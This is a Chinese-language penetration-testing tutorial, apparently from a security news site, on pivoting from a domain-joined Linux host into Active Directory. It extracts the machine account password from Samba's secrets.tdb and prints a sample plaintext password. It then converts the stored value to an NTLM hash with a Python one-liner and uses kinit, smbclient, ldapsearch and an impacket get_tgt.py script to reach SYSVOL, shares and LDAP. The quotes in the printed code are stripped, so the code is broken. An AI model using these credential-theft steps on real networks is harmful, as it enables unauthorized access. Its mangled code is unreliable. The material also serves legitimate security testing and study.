滲透測試時,如何從Linux拓展到AD域?
適用於SAMBA3的方法
通過閱讀SAMBA文檔可以了解到通過閱讀secrets.tdb資料庫就可以得到機器賬戶的明文密碼。
現在,我們使用的是舊版本的linux環境,並且已經加入到了域中,主機名為:ubuntu3.如圖:
觀察上圖可以看到secrets.tdb資料庫中有以下的內容:
1. SECRETS/SALTING_PRINCIPAL/DES/LAB.BRANSH.COM: 這一數據將主機名,域名展示給了我們。將以$符號結束的用戶名記錄下來,在這一環境中,用戶名為ubuntu3$.
2. SECRETS/MACHINE_PASSWORD/LAB:這一數據就展示了機器賬戶(ubuntu3$)的明文密碼,長度為14個位元組(加上終止符0),這一環境中,密碼為:"UeHjnbam_zdtr#"
接下來使用我們得到的賬戶密碼得到一個Kerberos TGT,然後查詢LDAP資料庫:
上圖中,可以觀察到:
1. 用戶ubuntu13執行kinit命令從KDC中獲得了TGT。
2. 通過klist命令列出了tickets
3. 通過ldapsearch使用Kerberos認證方法進行LDAP查詢。
繼續使用機器用戶進入到域中默認的SYSVOL共享文件夾:
上圖中得到的信息:
1. ubuntu13通過kinit命令得到一個TGT。
2. 通過klist獲取tickets。
3. 通過smbclient使用Kerberos就可以進入默認域中的SYSVOL文件夾。
使用此帳號獲得網路上無限制的共享:
這張圖你會發現:
1. 通過smbclient使用機器賬戶獲得的Kerberos票據就可以訪問到域成員共享的內容。
2. 通過klist命令獲得域中的tickets。
適用於SAMBA4的方法
在SAMBA4中,滲透過程會有一些不同。在一個新的Samba伺服器中,當我們查看secrets.tdb資料庫時,我們會得到一大串hex數值,並且他們不是ascii碼:
為了了解到這一數值在secrets.tdb中是怎麼生成的,我們需要去閱讀Samba4的源代碼。由於Samba代碼非常長,我們需要找到開始的地方。
可能你以前知道,」net ads changetrustpw」命令可以修改機器賬戶的密碼:
我們可以通過查找與」net ads」(net_ads.c)命令相關聯的文件,或者使用grep進而查找源文件中是否包含」Changeing password for printcipal」。無論哪一種方式,我們最後得到如下代碼:
下圖展示了net_ads_changetrustpw函數的源碼:
在2378行,ads_change_trust_account_password這一函數被調用,其中包括兩個參數:ads,host_printcipal。
下圖,展示了位於util.c中的ads_change_trust_account_password函數:
38行調用了trust_pw_new_value這一方法,其中包括三個參數,其中特別需要注意的是SEC_ADS這個參數。下面開始查找這一函數吧。
下圖就是trust_pw_new_value函數,他會調用generate_random_machine_password,並且參數最小值為128,最大值為255。
注釋中可以看到它是將特定緩衝區轉換為utf-8。
所以,在繼續查看代碼之前,我們先將獲得的hex進行utf-8解碼。複製我們在secrets.tdb中獲得的代碼hex:
接下來,使用下方python代碼,進行生成NTLMhash:
# echo 「E79EB7…880」 | python -c 「import hashlib,binascii;print binascii.hexlify(hashlib.new(『md4』,binascii.unhexlify(raw_input().replace(『』, 『』).replace(『00』,』』)).decode(『utf-8』).encode(『utf-16le』)).digest())」
下圖,展示了我們為機器賬戶生成的NTLMhash值:
下圖展示了使用這一hash我們進入到了SYSVOL共享文件夾:
現在,我們使用NTLM hash值從TGT中獲得TGT,進而通過ldapsearch進行LDAP查詢:
上圖中,可以看到我們使用了一個python腳本來獲得TGT。get_tgt.py代碼的內容非常簡單,它完全基於impacket庫。剩餘的代碼與第一種情況的作用是一樣的。
get_tgt.py內容如下:
from impacket.krb5.ccache import CCachefrom impacket.krb5.kerberosv5 import getKerberosTGTfrom impacket.krb5 import constantsfrom impacket.krb5.types import Principalimport argparse, sysfrom binascii import unhexlifydef main(domain, username, password, ntlm, kdc): # First of all, we need to get a TGT for the user userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) nthash = unhexlify(ntlm) # getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) print [*] Requesting a TGT from the KDC... tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, , nthash, , kdc) print [*] Generating a CCACHE... ccache = CCache() ccache.fromTGT(tgt, oldSessionKey, sessionKey) tgt_name = user + @ + domain + _TGT_.ccache print [*] Saving the CCACHE into the file %s... % (tgt_name) ccache.saveFile(tgt_name)if __name__ == __main__ : print nSimple br@nsh test for getting a TGTn parser = argparse.ArgumentParser(add_help = True, description = "Gets a TGT from the KDC") parser.add_argument( -user , action= store , default= , help="Domain User (sAMAccountName)") parser.add_argument( -password , action= store , default= , help= User s password ) parser.add_argument( -domain , action= store , default= , help= Domain name ) parser.add_argument( -ntlm , action="store", default= , metavar="NTHASH", help= NTLM hash ) parser.add_argument( -kdc , action= store , default= , help= Domain Controller ) # Parse the arguments options = parser.parse_args() domain = options.domain user = options.user password = options.password ntlm = options.ntlm kdc = options.kdc # If not enough information is provided if domain == or user == or kdc == : parser.print_help() sys.exit(1) # If the password was not provided, then ask for it if password == and user != and ntlm == : from getpass import getpass password = getpass("Password:") # If a hash is provided, then use it if ntlm != : password = None try: main(domain, user, password, ntlm, kdc) except Exception, e: import traceback print traceback.print_exc()
參考:
https://wiki.samba.org/index.php/Keytab_Extraction
https://blog.svedr.in/posts/passwordless-ldap-authentication.html
點擊展開全文


※真相浮出:法國警方截獲6個涉及WannaCry案件的Tor中繼伺服器
※看看一個內部員工是如何摧毀整個公司網路的?
※工具推薦:22款最流行的計算機取證工具2017年更新版
※真實版「張交通」復盤:我如何懟出泄漏個人信息的元兇
TAG:嘶吼RoarTalk |
※Windows ADS在滲透測試中的妙用
※滲透測試神器Burp Suite現已推出2.0測試版
※Aqua推出開源Kubernetes滲透測試工具Kube-hunter
※iOS滲透測試工具Part 1:App Decryption以及class-dump
※Huntpad:為滲透測試人員設計的Notepad應用
※BabySploit:一個針對初學者的滲透測試框架
※Web Service和Web API滲透測試指南(一)
※百年老牌要如何滲透潮流市場?| 專訪 New Balance CEO Robert T. DeMartini
※Volume Shadow 服務在滲透測試中的幾種利用姿勢
※Scrounger:iOS和Android移動應用程序滲透測試框架
※域滲透——AS-REP Roasting
※域滲透——Kerberoasting
※Burp Suite二十節:使用Burp,Sqlmap進行自動化SQL注入滲透測試
※CrackMapExec:一款針對大型Windows活動目錄(AD)的後滲透工具
※靶機滲透測試實戰-hack the ch4inrulz
※滲透技巧——獲取Windows系統下DPAPI中的MasterKey
※滲透測試神器之PowerShell入門必備
※用於黑客滲透測試的 21 個最佳 Kali Linux 工具
※在Windows上隱藏自己的滲透測試工具
※滲透測試中的 Go 語言使用:編寫反彈後門 Hershell